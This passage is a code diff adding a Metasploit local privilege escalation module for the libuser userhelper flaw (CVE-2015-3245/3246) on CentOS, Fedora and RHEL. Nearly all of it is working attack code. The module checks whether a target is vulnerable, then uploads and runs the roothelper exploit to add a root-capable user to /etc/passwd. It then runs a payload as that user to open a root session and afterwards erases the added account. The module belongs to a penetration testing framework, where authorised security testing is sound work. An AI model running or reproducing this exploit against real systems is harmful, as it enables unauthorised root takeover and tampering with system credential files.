+        This module has been tested successfully on libuser packaged versions
+        0.56.13-4.el6 on CentOS 6.0 (x86_64);
+        0.56.13-5.el6 on CentOS 6.5 (x86_64);
+        0.60-5.el7 on CentOS 7.1-1503 (x86_64);
+        0.56.16-1.fc13 on Fedora Desktop 13 (i686);
+        0.59-1.fc19 on Fedora Desktop 19 (x86_64);
+        0.60-6.fc21 on Fedora Desktop 21 (x86_64); and
+        0.56.13-5.el6 on Red Hat 6.6 (x86_64).
+
+        RHEL 5 is vulnerable, however the installed version of glibc (2.5)
+        is missing various functions required by roothelper.c.
+
+        RHEL 7 systems are reportedly affected, but untested.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Qualys',       # Discovery and C exploit
+          'Brendan Coles' # Metasploit
+        ],
+      'DisclosureDate' => 'Jul 24 2015',
+      'Platform'       => [ 'linux' ],
+      'Arch'           => [ ARCH_X86, ARCH_X64 ],
+      'SessionTypes'   => [ 'shell', 'meterpreter' ],
+      'Targets'        => [[ 'Auto', {} ]],
+      'Privileged'     => true,
+      'References'     =>
+        [
+          [ 'AKA', 'roothelper.c' ],
+          [ 'EDB', '37706' ],
+          [ 'CVE', '2015-3245' ],
+          [ 'CVE', '2015-3246' ],
+          [ 'BID', '76021' ],
+          [ 'BID', '76022' ],
+          [ 'URL', 'http://seclists.org/oss-sec/2015/q3/185' ],
+          [ 'URL', 'https://access.redhat.com/articles/1537873' ]
+        ],
+      'DefaultTarget'  => 0))
+    register_options [
+      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
+      OptString.new('PASSWORD', [ false, 'Password for the current user', '' ]),
+      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
+    ]
+  end
+
+  def base_dir
+    datastore['WritableDir'].to_s
+  end
+
+  def password
+    datastore['PASSWORD'].to_s
+  end
+
+  def upload(path, data)
+    print_status "Writing '#{path}' (#{data.size} bytes) ..."
+    rm_f path
+    write_file path, data
+    register_file_for_cleanup path
+  end
+
+  def upload_and_chmodx(path, data)
+    upload path, data
+    cmd_exec "chmod +x '#{path}'"
+  end
+
+  def live_compile?
+    compile = false
+
+    if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
+      if has_gcc?
+        vprint_good 'gcc is installed'
+        compile = true
+      else
+        unless datastore['COMPILE'].eql? 'Auto'
+          fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
+        end
+      end
+    end
+
+    compile
+  end
+
+  def check
+    userhelper_path = '/usr/sbin/userhelper'
+    unless setuid? userhelper_path
+      vprint_error "#{userhelper_path} is not setuid"
+      return CheckCode::Safe
+    end
+    vprint_good "#{userhelper_path} is setuid"
+
+    unless command_exists? 'script'
+      vprint_error "script is not installed. Exploitation will fail."
+      return CheckCode::Safe
+    end
+    vprint_good 'script is installed'
+
+    if cmd_exec('lsattr /etc/passwd').include? 'i'
+      vprint_error 'File /etc/passwd is immutable'
+      return CheckCode::Safe
+    end
+    vprint_good 'File /etc/passwd is not immutable'
+
+    glibc_banner = cmd_exec 'ldd --version'
+    glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
+    if glibc_version.to_s.eql? ''
+      vprint_error 'Could not determine the GNU C library version'
+      return CheckCode::Detected
+    end
+
+    # roothelper.c requires functions only available since glibc 2.6+
+    if glibc_version < Gem::Version.new('2.6')
+      vprint_error "GNU C Library version #{glibc_version} is not supported"
+      return CheckCode::Safe
+    end
+    vprint_good "GNU C Library version #{glibc_version} is supported"
+
+    CheckCode::Detected
+  end
+
+  def exploit
+    if check == CheckCode::Safe
+      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
+    end
+
+    if is_root?
+      fail_with Failure::BadConfig, 'Session already has root privileges'
+    end
+
+    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
+      fail_with Failure::BadConfig, "#{base_dir} is not writable"
+    end
+
+    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
+    executable_path = "#{base_dir}/#{executable_name}"
+
+    if live_compile?
+      vprint_status 'Live compiling exploit on system...'
+
+      # Upload Qualys' roothelper.c exploit:
+      # - https://www.exploit-db.com/exploits/37706/
+      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'
+      fd = ::File.open path, 'rb'
+      c_code = fd.read fd.stat.size
+      fd.close
+      upload "#{executable_path}.c", c_code
+      output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"
+
+      unless output.blank?
+        print_error output
+        fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
+      end
+
+      cmd_exec "chmod +x #{executable_path}"
+      register_file_for_cleanup executable_path
+    else
+      vprint_status 'Dropping pre-compiled exploit on system...'
+
+      # Cross-compiled with:
+      # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c
+      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'
+      fd = ::File.open path, 'rb'
+      executable_data = fd.read fd.stat.size
+      fd.close
+      upload_and_chmodx executable_path, executable_data
+    end
+
+    # Run roothelper
+    timeout = 180
+    print_status "Launching roothelper exploit (Timeout: #{timeout})..."
+    output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout
+    output.each_line { |line| vprint_status line.chomp }
+
+    if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
+      register_file_for_cleanup $1
+    end
+
+    if output =~ /died in parent: .*.c:517: forkstop_userhelper/
+      fail_with Failure::NoAccess, 'Incorrect password'
+    end
+
+    @username = nil
+
+    if output =~ /Exploit successful, run "su ([a-z])" to become root/
+      @username = $1
+    end
+
+    if @username.blank?
+      fail_with Failure::Unknown, 'Something went wrong'
+    end
+
+    print_good "Success! User '#{@username}' added to /etc/passwd"
+
+    # Upload payload executable
+    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
+    upload_and_chmodx payload_path, generate_payload_exe
+
+    # Execute payload executable
+    vprint_status 'Executing payload...'
+    cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "
+    register_file_for_cleanup 'typescript'
+  end
+
+  #
+  # Remove new user from /etc/passwd
+  #
+  def on_new_session(session)
+    new_user_removed = false
+
+    if session.type.to_s.eql? 'meterpreter'
+      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
+
+      # Remove new user
+      session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""
+
+      # Wait for clean up
+      Rex.sleep 5
+
+      # Check for new user in /etc/passwd
+      passwd_contents = session.fs.file.open('/etc/passwd').read.to_s
+      unless passwd_contents =~ /^#{@username}:/
+        new_user_removed = true
+      end
+    elsif session.type.to_s.eql? 'shell'
+      # Remove new user
+      session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"
+
+      # Check for new user in /etc/passwd
+      passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"
+      unless passwd_user =~ /^#{@username}:/
+        new_user_removed = true
+      end
+    end
+
+    unless new_user_removed
+      print_warning "Could not remove user '#{@username}' from /etc/passwd"
+    end
+  rescue => e
+    print_error "Error during cleanup: #{e.message}"
+  ensure
+    super
+  end
+end